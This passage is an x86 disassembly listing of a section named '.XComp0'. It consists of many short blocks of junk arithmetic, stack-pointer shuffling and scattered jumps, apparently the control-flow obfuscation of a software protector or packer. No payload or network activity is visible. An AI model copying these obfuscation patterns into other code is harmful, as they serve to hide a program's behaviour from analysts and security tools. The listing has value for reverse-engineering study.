		neg	ebx
		add	ebx, 0D8E69EC1h
		xor	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_58B594
; ---------------------------------------------------------------------------


loc_589DAD:				; CODE XREF: .XComp0:00594A3Bj
		push	3CAC06C6h
		pop	ecx
		add	edi, ecx
		jmp	loc_58EA8D
; ---------------------------------------------------------------------------


loc_589DBA:				; CODE XREF: .XComp0:00598810j
		mov	cx, [esp]
		jmp	loc_58A399
; ---------------------------------------------------------------------------
		xor	[esp], ax
		xor	ax, [esp]
		jmp	loc_5885A1
; ---------------------------------------------------------------------------


loc_589DD0:				; CODE XREF: .XComp0:0058BA82j
		mov	[esp], esi
		jmp	loc_58AF0E
; ---------------------------------------------------------------------------


loc_589DD8:				; CODE XREF: .XComp0:005912C8j
		pop	ecx
		add	ecx, 5C3233E2h
		add	ecx, esi
		sub	ecx, 5C3233E2h
		jmp	loc_593F44
; ---------------------------------------------------------------------------


loc_589DEC:				; CODE XREF: .XComp0:00584733j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_59704E
; ---------------------------------------------------------------------------


loc_589E0B:				; CODE XREF: .XComp0:00598EB7j
		std
		push	7B93h
		mov	[esp], esi
		mov	esi, 0Ah
		jmp	loc_5895AA
; ---------------------------------------------------------------------------


loc_589E1E:				; CODE XREF: .XComp0:0058C6FBj
		push	dword ptr [esp]
		jmp	loc_596545
; ---------------------------------------------------------------------------


loc_589E26:				; CODE XREF: .XComp0:00583CC4j
		mov	edx, [esp]
		jmp	loc_590C44
; ---------------------------------------------------------------------------


loc_589E2E:				; CODE XREF: .XComp0:005968C3j
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_589E40:				; CODE XREF: .XComp0:00590095j
		pop	esp
		add	edi, 4
		push	edx
		push	4
		push	dword ptr [esp]
		jmp	loc_58AC46
; ---------------------------------------------------------------------------


loc_589E55:				; CODE XREF: .XComp0:00597E80j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_584A8E
; ---------------------------------------------------------------------------


loc_589E6B:				; CODE XREF: .XComp0:0058BF0Ej
		mov	edi, [esp]
		add	esp, 4
		push	39CDh
		mov	[esp], ebp
		mov	ebp, 6823523Dh
		neg	ebp
		inc	ebp
		inc	ebp
		jmp	loc_5950DF
; ---------------------------------------------------------------------------


loc_589E87:				; CODE XREF: .XComp0:0058FFACj
		pop	eax
		sub	ebx, 16543DE7h
		sub	ebx, edx
		add	ebx, 16543DE7h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_590279
; ---------------------------------------------------------------------------


loc_589EB5:				; CODE XREF: .XComp0:00590DBBj
		mov	edi, [esp]
		add	esp, 4
		xor	eax, esi
		mov	esi, [esp]
		jmp	loc_58ED41
; ---------------------------------------------------------------------------


loc_589EC5:				; CODE XREF: .XComp0:0058D353j
		add	bl, 30h
		jmp	loc_5959F8
; ---------------------------------------------------------------------------


loc_589ECD:				; CODE XREF: .XComp0:0058A3EEj
		xchg	edi, [esp]
		pop	esp
		add	edx, 2
		push	edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_59218A
; ---------------------------------------------------------------------------


loc_589EE4:				; CODE XREF: .XComp0:005910F0j
		mov	edi, ebp
		pop	ebp
		inc	edi
		push	ecx
		push	esi
		push	edx
		mov	edx, 2D173780h
		mov	esi, 42AD194h
		add	esi, edx
		jmp	loc_58F94C
; ---------------------------------------------------------------------------


loc_589EFC:				; CODE XREF: .XComp0:005883E7j
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6F681B06h
		inc	esi
		shr	esi, 1
		jmp	loc_590ED6
; ---------------------------------------------------------------------------


loc_589F15:				; CODE XREF: .XComp0:005882BDj
		pop	eax
		pop	esi
		push	ebp
		jmp	loc_597029
; ---------------------------------------------------------------------------


loc_589F1D:				; CODE XREF: .XComp0:0058CD98j
		add	esp, 4
		push	ecx
		mov	ecx, 51B13732h
		sub	edx, ecx
		pop	ecx
		push	ecx
		jmp	loc_5882DC
; ---------------------------------------------------------------------------


loc_589F2F:				; CODE XREF: .XComp0:00586B76j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, eax
		push	ebp
		jmp	loc_58F4EE
; ---------------------------------------------------------------------------


loc_589F47:				; CODE XREF: .XComp0:0058BC2Dj
		shr	edx, 4
		push	ebx
		mov	ebx, 617F5DB2h
		xor	ebx, 0F8E7F48h
		or	edx, ebx
		pop	ebx
		sub	edx, 6EFB73F8h
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		bts	[esp], ax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_589F77:				; CODE XREF: .XComp0:0058F1DEj
		mov	[esp], ebx
		jmp	loc_58E335
; ---------------------------------------------------------------------------


loc_589F7F:				; CODE XREF: .XComp0:005925B2j
		xchg	eax, [esp]
		jmp	loc_58F1CC
; ---------------------------------------------------------------------------


loc_589F87:				; CODE XREF: .XComp0:0058B902j
		sub	ecx, edi
		pop	edi
		pop	edx
		shl	ecx, 6
		push	ebp
		mov	ebp, 2318280Ch
		push	ebp
		dec	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		jmp	loc_594F13
; ---------------------------------------------------------------------------


loc_589FA7:				; CODE XREF: .XComp0:005922B8j
		xchg	edx, [esp]
		pop	esp
		pop	eax
		push	0B42h
		mov	[esp], eax
		mov	ah, dh
		jmp	loc_584D9A
; ---------------------------------------------------------------------------


loc_589FBB:				; CODE XREF: .XComp0:0058AF3Dj
		mov	ebp, esp
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_586D11
; ---------------------------------------------------------------------------


loc_589FC5:				; CODE XREF: .XComp0:0058B2CBj
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	4F78h
		mov	[esp], ebp
		jmp	loc_585E2A
; ---------------------------------------------------------------------------


loc_589FE3:				; CODE XREF: .XComp0:00593D8Cj
		mov	ecx, esp
		jmp	loc_58A6EF
; ---------------------------------------------------------------------------


loc_589FEA:				; CODE XREF: .XComp0:0058780Ej
		push	ebp
		jmp	loc_59358A
; ---------------------------------------------------------------------------


loc_589FF0:				; CODE XREF: .XComp0:0059270Fj
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_585808
; ---------------------------------------------------------------------------


loc_58A006:				; CODE XREF: .XComp0:005908C0j
		add	esi, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5842F3
; ---------------------------------------------------------------------------


loc_58A011:				; CODE XREF: .XComp0:0059080Dj
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		xor	bl, al
		jmp	loc_58C8FB
; ---------------------------------------------------------------------------


loc_58A01F:				; CODE XREF: .XComp0:00587379j
		push	21C2h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		mov	edi, 4
		sub	eax, 18D664FEh
		add	eax, edi
		add	eax, 18D664FEh
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2
		add	eax, 110B149Bh
		add	eax, ecx
		sub	eax, 110B149Bh
		jmp	loc_590B72
; ---------------------------------------------------------------------------


loc_58A068:				; CODE XREF: .XComp0:00591C8Cj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, ecx
		mov	esi, edi
		pop	edi
		pop	ecx
		add	ebx, 151C302Fh
		jmp	loc_595146
; ---------------------------------------------------------------------------


loc_58A07F:				; CODE XREF: .XComp0:0058914Ej
		pop	eax
		shl	ebp, 5
		shl	ebp, 7
		jmp	loc_593E48
; ---------------------------------------------------------------------------


loc_58A08B:				; CODE XREF: .XComp0:005887ABj
		add	ecx, 41A550A3h
		jmp	loc_58DB17
; ---------------------------------------------------------------------------


loc_58A096:				; CODE XREF: .XComp0:loc_584549j
		mov	edx, 5F1A67C8h
		jmp	loc_589908
; ---------------------------------------------------------------------------


loc_58A0A0:				; CODE XREF: .XComp0:0058921Ej
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_596197
; ---------------------------------------------------------------------------


loc_58A0C1:				; CODE XREF: .XComp0:0058CF3Bj
		xor	ch, bh
		xor	bh, ch
		xor	ch, bh
		sub	esp, 2
		mov	[esp], bx
		sub	esp, 4
		mov	[esp], edx
		push	2989h
		mov	[esp], ebx
		push	eax
		mov	al, ch
		mov	bh, al
		jmp	loc_58D00A
; ---------------------------------------------------------------------------


loc_58A0E6:				; CODE XREF: .XComp0:00597173j
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_590A66
; ---------------------------------------------------------------------------


loc_58A0F0:				; CODE XREF: .XComp0:0058DAA2j
		mov	[esp], esi
		push	edi
		mov	edi, 3AA2600Fh
		shl	edi, 2
		jmp	loc_598499
; ---------------------------------------------------------------------------


loc_58A101:				; CODE XREF: .XComp0:00590D22j
		mov	ebp, [esp]
		jmp	loc_588F0E
; ---------------------------------------------------------------------------


loc_58A109:				; CODE XREF: .XComp0:00589A4Dj
		push	esi
		push	736A60DCh
		pop	esi
		neg	esi
		jmp	loc_585FB8
; ---------------------------------------------------------------------------


loc_58A117:				; CODE XREF: .XComp0:00588518j
		push	eax
		mov	eax, 61F93B76h
		shl	eax, 4
		sub	eax, 66B36DE3h
		shr	eax, 4
		jmp	loc_5982B1
; ---------------------------------------------------------------------------


loc_58A12D:				; CODE XREF: .XComp0:00598093j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58A373
; ---------------------------------------------------------------------------


loc_58A136:				; CODE XREF: .XComp0:00591CDAj
		mov	ebp, esp
		push	esi
		jmp	loc_5959E6
; ---------------------------------------------------------------------------


loc_58A13E:				; CODE XREF: .XComp0:005906C3j
		push	edi
		push	3975h
		jmp	loc_594F99
; ---------------------------------------------------------------------------


loc_58A149:				; CODE XREF: .XComp0:00594424j
		sub	[esp], ebx
		jmp	loc_594E25
; ---------------------------------------------------------------------------


loc_58A151:				; CODE XREF: .XComp0:00596A58j
		push	edi
		jmp	loc_58D838
; ---------------------------------------------------------------------------


loc_58A157:				; CODE XREF: .XComp0:00584127j
		mov	esi, 4
		sub	ebp, esi
		jmp	loc_58E04A
; ---------------------------------------------------------------------------


loc_58A163:				; CODE XREF: .XComp0:00584234j
		mov	ebx, 2417541Dh
		mov	edx, 48E17650h
		jmp	loc_58F531
; ---------------------------------------------------------------------------


loc_58A172:				; CODE XREF: .XComp0:00590736j
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_58CB1B
; ---------------------------------------------------------------------------


loc_58A183:				; CODE XREF: .XComp0:00593C3Dj
		sub	edx, ecx
		mov	ecx, [esp]
		jmp	loc_5884B1
; ---------------------------------------------------------------------------


loc_58A18D:				; CODE XREF: .XComp0:005946CFj
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_597532
; ---------------------------------------------------------------------------


loc_58A19A:				; CODE XREF: .XComp0:00595D87j
		mov	[esp], edi
		push	edx
		push	ecx
		mov	ecx, 54D274DBh
		jmp	loc_5937A8
; ---------------------------------------------------------------------------


loc_58A1A9:				; CODE XREF: .XComp0:0059839Ej
		add	ebp, esi
		jmp	loc_588B03
; ---------------------------------------------------------------------------


loc_58A1B0:				; CODE XREF: .XComp0:0058E6C0j
		mov	[esp], edi
		jmp	loc_588D4C
; ---------------------------------------------------------------------------


loc_58A1B8:				; CODE XREF: .XComp0:00590661j
		push	edx
		push	ecx
		mov	cl, 4Fh
		sub	cl, 56h
		inc	cl
		shl	cl, 5
		jmp	loc_585A68
; ---------------------------------------------------------------------------


loc_58A1C9:				; CODE XREF: .XComp0:0058CE67j
		sub	ah, dh
		pop	edx
		jmp	loc_58C546
; ---------------------------------------------------------------------------


loc_58A1D1:				; CODE XREF: .XComp0:00592C6Bj
		pop	edx
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		neg	ecx
		xor	ecx, 0CE6FFF1Ah
		add	edi, ecx
		pop	ecx
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_589649
; ---------------------------------------------------------------------------


loc_58A1F9:				; CODE XREF: .XComp0:00593895j
		mov	esi, 6FD66BA5h
		or	esi, 5E3855A0h
		push	eax
		mov	eax, 74F714F3h
		sub	esi, eax
		pop	eax
		add	esi, 3C8675A5h
		jmp	loc_590122
; ---------------------------------------------------------------------------


loc_58A218:				; CODE XREF: .XComp0:00584F9Aj
		add	esi, 1
		sub	esi, 7CA0DDB0h
		xor	ecx, esi
		pop	esi
		jmp	loc_5957D9
; ---------------------------------------------------------------------------
		push	eax
		push	2655h
		jmp	loc_596430
; ---------------------------------------------------------------------------


loc_58A234:				; CODE XREF: .XComp0:00585591j
		xchg	eax, [esp]
		pop	esp
		push	6EA0h
		mov	[esp], ecx
		push	ebx
		jmp	loc_587526
; ---------------------------------------------------------------------------


loc_58A246:				; CODE XREF: .XComp0:0058E3B5j
		push	7138h
		mov	[esp], eax
		jmp	loc_58BD2F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	eax
		jmp	loc_5864CC
; ---------------------------------------------------------------------------


loc_58A266:				; CODE XREF: .XComp0:0059442Fj
		xor	eax, 0F6D3CD0Dh
		xor	edi, eax
		pop	eax
		mov	ebx, 48D24541h
		xor	ebx, edi
		mov	edi, [esp]
		push	4B6Eh
		jmp	loc_598AEF
; ---------------------------------------------------------------------------


loc_58A282:				; CODE XREF: .XComp0:0058B866j
		push	ecx
		mov	ecx, 6E653FDFh
		xchg	eax, ecx
		jmp	loc_589A52
; ---------------------------------------------------------------------------


loc_58A28E:				; CODE XREF: .XComp0:0058EB35j
		pop	eax
		push	ecx
		mov	ecx, 3CA725E6h
		sub	ebp, ecx
		pop	ecx
		add	ebp, esi
		add	ebp, 3CA725E6h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5950A3
; ---------------------------------------------------------------------------


loc_58A2B8:				; CODE XREF: .XComp0:00586B7Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_58632F
; ---------------------------------------------------------------------------


loc_58A2C6:				; CODE XREF: .XComp0:0058F4DDj
		sub	dh, 0FFh
		or	dh, 9Bh
		push	cx
		mov	ch, 62h
		and	dh, ch
		pop	cx
		sub	esp, 2
		mov	[esp], ax
		jmp	loc_5918D1
; ---------------------------------------------------------------------------


loc_58A2E0:				; CODE XREF: .XComp0:00598234j
		mov	eax, 21525B28h
		dec	eax
		jmp	loc_58C4AB
; ---------------------------------------------------------------------------


loc_58A2EB:				; CODE XREF: .XComp0:00597B4Bj
		sub	ecx, 2DE04821h
		mov	ebx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_58F6AC
; ---------------------------------------------------------------------------


loc_58A302:				; CODE XREF: .XComp0:0058920Dj
		add	ecx, edi
		jmp	loc_59294C
; ---------------------------------------------------------------------------


loc_58A309:				; CODE XREF: .XComp0:0058B819j
		xor	esi, 7DD5410Fh
		push	ebp
		mov	ebp, 48604B1Ah
		push	ebp
		not	dword ptr [esp]
		jmp	loc_590ADA
; ---------------------------------------------------------------------------


loc_58A31E:				; CODE XREF: .XComp0:0058E06Dj
		push	ebp
		jmp	loc_598802
; ---------------------------------------------------------------------------


loc_58A324:				; CODE XREF: .XComp0:005865C9j
		pop	esi
		pop	ebp
		dec	ebx
		xchg	eax, ebx
		jmp	loc_5966AE
; ---------------------------------------------------------------------------


loc_58A32D:				; CODE XREF: .XComp0:005988B0j
		sub	eax, ebx
		sub	eax, 67EC317Bh
		jmp	loc_587017
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		jmp	loc_5862EA
; ---------------------------------------------------------------------------


loc_58A341:				; CODE XREF: .XComp0:005989E6j
		mov	edi, esp
		jmp	loc_587062
; ---------------------------------------------------------------------------


loc_58A348:				; CODE XREF: .XComp0:005853BCj
		mov	ch, 0DBh
		add	al, 11h
		add	al, ch
		sub	al, 11h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	al, bl
		jmp	loc_58F005
; ---------------------------------------------------------------------------


loc_58A35E:				; CODE XREF: .XComp0:00595DFDj
		mov	[esp], edx
		jmp	loc_58CB02
; ---------------------------------------------------------------------------


loc_58A366:				; CODE XREF: .XComp0:00590E79j
		dec	eax
		push	esi
		push	ebx
		mov	ebx, 61265E2Eh
		jmp	loc_5978A2
; ---------------------------------------------------------------------------


loc_58A373:				; CODE XREF: .XComp0:0058A131j
		push	ebp
		jmp	loc_5844E8
; ---------------------------------------------------------------------------


loc_58A379:				; CODE XREF: .XComp0:00585294j
		sub	edi, 4
		jmp	loc_596D02
; ---------------------------------------------------------------------------


loc_58A384:				; CODE XREF: .XComp0:005921F5j
		pop	eax
		shr	cl, 2
		push	ax
		mov	al, 92h
		jmp	loc_584162
; ---------------------------------------------------------------------------


loc_58A391:				; CODE XREF: .XComp0:0059317Ej
		xchg	eax, [esp]
		jmp	loc_598598
; ---------------------------------------------------------------------------


loc_58A399:				; CODE XREF: .XComp0:00589DBEj
		add	esp, 2
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_588419
; ---------------------------------------------------------------------------


loc_58A3AD:				; CODE XREF: .XComp0:00592424j
		mov	ecx, [esp]
		push	edi
		jmp	loc_59251C
; ---------------------------------------------------------------------------


loc_58A3B6:				; CODE XREF: .XComp0:00596A3Dj
		sub	ebx, edx
		xchg	ebx, edx
		push	dword ptr [esp]
		jmp	loc_598DF6
; ---------------------------------------------------------------------------


loc_58A3C2:				; CODE XREF: .XComp0:005896C8j
		mov	esi, 2
		mov	edi, esi
		jmp	loc_589BD7
; ---------------------------------------------------------------------------


loc_58A3CE:				; CODE XREF: .XComp0:0058FB22j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_591EB4
; ---------------------------------------------------------------------------


loc_58A3D9:				; CODE XREF: .XComp0:00592A78j
		mov	edi, [esp]
		push	eax
		jmp	loc_588FCC
; ---------------------------------------------------------------------------


loc_58A3E2:				; CODE XREF: .XComp0:0058CFB8j
		add	edi, 4
		add	edi, 4
		jmp	loc_589ECD
; ---------------------------------------------------------------------------


loc_58A3F3:				; CODE XREF: .XComp0:00593466j
		add	esp, 4
		add	edi, 30481995h
		add	edi, ebp
		sub	edi, 30481995h
		pop	ebp
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5857E0
; ---------------------------------------------------------------------------


loc_58A412:				; CODE XREF: .XComp0:0059183Bj
		pop	edx
		jmp	loc_593FDA
; ---------------------------------------------------------------------------


loc_58A418:				; CODE XREF: .XComp0:0058DF1Aj
		mov	edx, 6B19626Fh
		jmp	loc_5896CD
; ---------------------------------------------------------------------------


loc_58A422:				; CODE XREF: .XComp0:0058C3B8j
		pop	ebx
		jmp	loc_588294
; ---------------------------------------------------------------------------


loc_58A428:				; CODE XREF: .XComp0:00589051j
		xchg	eax, [esp]
		pop	esp
		sub	al, bl
		jmp	loc_5904EB
; ---------------------------------------------------------------------------


loc_58A433:				; CODE XREF: .XComp0:00588752j
		sub	eax, ebp
		pop	ebp
		add	eax, 54C57887h
		sub	eax, 0F621E7Ch
		sub	eax, 6E9F5D56h
		add	eax, ebx
		add	eax, 6E9F5D56h
		jmp	loc_58C88D
; ---------------------------------------------------------------------------


loc_58A451:				; CODE XREF: .XComp0:00592EDDj
		add	eax, ebx
		sub	eax, 3C0B3872h
		push	341Dh
		mov	[esp], ebx
		push	eax
		mov	eax, 5DA43EDBh
		jmp	loc_59324B
; ---------------------------------------------------------------------------


loc_58A46B:				; CODE XREF: .XComp0:005950D2j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	esp
		jmp	loc_587938
; ---------------------------------------------------------------------------


loc_58A481:				; CODE XREF: .XComp0:00589759j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5973EE
; ---------------------------------------------------------------------------


loc_58A48F:				; CODE XREF: .XComp0:00592D47j
		mov	[esp], ecx
		mov	ecx, 0A2A1DAEFh
		add	edi, ecx
		pop	ecx
		add	ebp, edi
		pop	edi
		jmp	loc_598C26
; ---------------------------------------------------------------------------


loc_58A4A2:				; CODE XREF: .XComp0:00587F94j
		mov	[esp], ecx
		mov	ecx, 23CE5F16h
		sub	ecx, 79557E3Fh
		jmp	loc_587C14
; ---------------------------------------------------------------------------


loc_58A4B5:				; CODE XREF: .XComp0:00597C19j
		pop	dx
		mov	bh, cl
		jmp	loc_591347
; ---------------------------------------------------------------------------


loc_58A4BE:				; CODE XREF: .XComp0:005946E1j
		and	ebx, esi
		jmp	loc_588A73
; ---------------------------------------------------------------------------


loc_58A4C5:				; CODE XREF: .XComp0:00590A37j
		pop	ebp
		push	edx
		jmp	loc_58933A
; ---------------------------------------------------------------------------


loc_58A4CC:				; CODE XREF: .XComp0:0058D3BAj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_595F9E
; ---------------------------------------------------------------------------


loc_58A4D9:				; CODE XREF: .XComp0:00596933j
		mov	[esp], esi
		push	1FCB7D6Ah
		jmp	loc_596AF7
; ---------------------------------------------------------------------------


loc_58A4E6:				; CODE XREF: .XComp0:00593990j
		add	eax, 4
		jmp	loc_594909
; ---------------------------------------------------------------------------


loc_58A4F0:				; CODE XREF: .XComp0:0058C59Bj
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_587D5C
; ---------------------------------------------------------------------------


loc_58A506:				; CODE XREF: .XComp0:00594981j
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		push	ecx
		pop	ebp
		pop	ecx
		not	ecx
		xchg	ecx, ebp
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	ebp
		sub	dword ptr [esp], 0FFFFFFFFh
		pop	ebp
		push	edx
		jmp	loc_5866CD
; ---------------------------------------------------------------------------


loc_58A528:				; CODE XREF: .XComp0:0058E549j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_599038
; ---------------------------------------------------------------------------


loc_58A53C:				; CODE XREF: .XComp0:00593FB2j
		mov	eax, ecx
		jmp	loc_590236
; ---------------------------------------------------------------------------


loc_58A543:				; CODE XREF: .XComp0:00587AEBj
		push	ebx
		mov	ebx, 66C8E3BFh
		jmp	loc_590F54
; ---------------------------------------------------------------------------


loc_58A54E:				; CODE XREF: .XComp0:00586BBEj
		add	edx, eax
		jmp	loc_594835
; ---------------------------------------------------------------------------


loc_58A555:				; CODE XREF: .XComp0:00592B24j
		sub	ebx, 21674738h
		add	ebx, ebp
		jmp	loc_5903B3
; ---------------------------------------------------------------------------


loc_58A562:				; CODE XREF: .XComp0:00593F84j
		pop	eax
		xor	edi, 524001C9h
		push	esi
		jmp	loc_58A7BE
; ---------------------------------------------------------------------------


loc_58A56F:				; CODE XREF: .XComp0:0058D86Fj
		push	eax
		mov	ah, 85h
		jmp	loc_58413F
; ---------------------------------------------------------------------------


loc_58A577:				; CODE XREF: .XComp0:005861D3j
		shr	ecx, 2
		push	edx
		mov	edx, 0D633F484h
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5866E9
; ---------------------------------------------------------------------------


loc_58A58E:				; CODE XREF: .XComp0:0059876Ej
		and	ecx, 59941D2Bh
		sub	ecx, 39F0167Ch
		xor	ecx, 0CEA3F182h
		add	ebp, ecx
		jmp	loc_5944F4
; ---------------------------------------------------------------------------


loc_58A5A7:				; CODE XREF: .XComp0:0058878Bj
		add	ecx, 0B7CB8198h
		mov	eax, ecx
		pop	ecx
		add	eax, edi
		push	esi
		pop	dword ptr [eax]
		pop	eax
		pop	esi
		xor	[edi+20h], edx
		jmp	loc_589027
; ---------------------------------------------------------------------------


loc_58A5BF:				; CODE XREF: .XComp0:0058EBF7j
		shr	edx, 6
		shl	edx, 7
		jmp	loc_58478F
; ---------------------------------------------------------------------------


loc_58A5CA:				; CODE XREF: .XComp0:0058D01Dj
		pop	eax
		add	esi, 12C8814Ah
		mov	edi, esi
		mov	esi, [esp]
		jmp	loc_5933DB
; ---------------------------------------------------------------------------


loc_58A5DB:				; CODE XREF: .XComp0:00592E6Ej
		add	ebp, 20921998h
		push	edi
		mov	edi, 36192A23h
		add	ebp, edi
		pop	edi
		jmp	loc_58979C
; ---------------------------------------------------------------------------


loc_58A5EF:				; CODE XREF: .XComp0:00590A8Fj
		mov	ebp, 50AF4FBBh
		jmp	loc_58A91D
; ---------------------------------------------------------------------------


loc_58A5F9:				; CODE XREF: .XComp0:0058A8F9j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_58D63C
; ---------------------------------------------------------------------------


loc_58A60B:				; CODE XREF: .XComp0:0058C027j
		add	ch, 34h
		push	edx
		mov	dh, 0C5h
		add	ch, dh
		pop	edx
		add	ch, al
		sub	ch, 0C5h
		push	ebx
		mov	bh, 34h
		push	ax
		jmp	loc_58402E
; ---------------------------------------------------------------------------


loc_58A623:				; CODE XREF: .XComp0:005916B4j
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_591042
; ---------------------------------------------------------------------------


loc_58A633:				; CODE XREF: .XComp0:00592800j
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_59658E
; ---------------------------------------------------------------------------


loc_58A63E:				; CODE XREF: .XComp0:0058AE96j
		not	ebx
		dec	ebx
		shr	ebx, 6
		not	ebx
		xor	ebx, 0C26E7468h
		add	edi, ebx
		pop	ebx
		mov	ebx, [esp]
		jmp	loc_596B66
; ---------------------------------------------------------------------------


loc_58A657:				; CODE XREF: .XComp0:00596847j
		or	edx, ebp
		pop	ebp
		jmp	loc_598586
; ---------------------------------------------------------------------------


loc_58A65F:				; CODE XREF: .XComp0:00592982j
		mov	ecx, edi
		pop	edi
		or	ebp, ecx
		pop	ecx
		jmp	loc_584232
; ---------------------------------------------------------------------------


loc_58A66A:				; CODE XREF: .XComp0:0058C69Dj
		add	esi, edx
		push	edx
		mov	edx, 5DC41509h
		jmp	loc_597517
; ---------------------------------------------------------------------------


loc_58A677:				; CODE XREF: .XComp0:00584443j
		mov	esi, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_58F491
; ---------------------------------------------------------------------------


loc_58A68B:				; CODE XREF: .XComp0:00598CC6j
		mov	[esp], ebp
		push	edi
		sub	dword ptr [esp], 1CB652A5h
		jmp	loc_587CC3
; ---------------------------------------------------------------------------


loc_58A69B:				; CODE XREF: .XComp0:0058FA7Aj
		pop	edx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	485Ch
		jmp	loc_58ABCF
; ---------------------------------------------------------------------------


loc_58A6B6:				; CODE XREF: .XComp0:0058CB79j
		mov	ebx, 0AEE5DF5h
		dec	ebx
		sub	ebx, 95773B4Fh
		add	ebp, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 79D72EC5h
		or	esi, 120471D1h
		jmp	loc_5920DF
; ---------------------------------------------------------------------------


loc_58A6DB:				; CODE XREF: .XComp0:00585300j
		sub	esi, ebp
		jmp	loc_5867CD
; ---------------------------------------------------------------------------


loc_58A6E2:				; CODE XREF: .XComp0:005954F5j
		pop	ebx
		push	ebp
		push	eax
		mov	eax, 17FA2FB8h
		jmp	loc_584C79
; ---------------------------------------------------------------------------


loc_58A6EF:				; CODE XREF: .XComp0:00589FE5j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5846AB
; ---------------------------------------------------------------------------


loc_58A6FD:				; CODE XREF: .XComp0:0058BB60j
		inc	ebx
		push	ebp
		jmp	loc_5904BA
; ---------------------------------------------------------------------------


loc_58A704:				; CODE XREF: .XComp0:005937CBj
		pop	ebx
		push	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4024152Fh
		shl	ecx, 2
		jmp	loc_58F53F
; ---------------------------------------------------------------------------


loc_58A726:				; CODE XREF: .XComp0:0059044Dj
		inc	dword ptr [esp]
		jmp	loc_585D14
; ---------------------------------------------------------------------------


loc_58A72E:				; CODE XREF: .XComp0:0058D833j
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_585BB0
; ---------------------------------------------------------------------------


loc_58A74D:				; CODE XREF: .XComp0:0058DB77j
		push	23B97580h
		pop	eax
		jmp	loc_588FDF
; ---------------------------------------------------------------------------


loc_58A758:				; CODE XREF: .XComp0:00591240j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		imul	ecx, eax
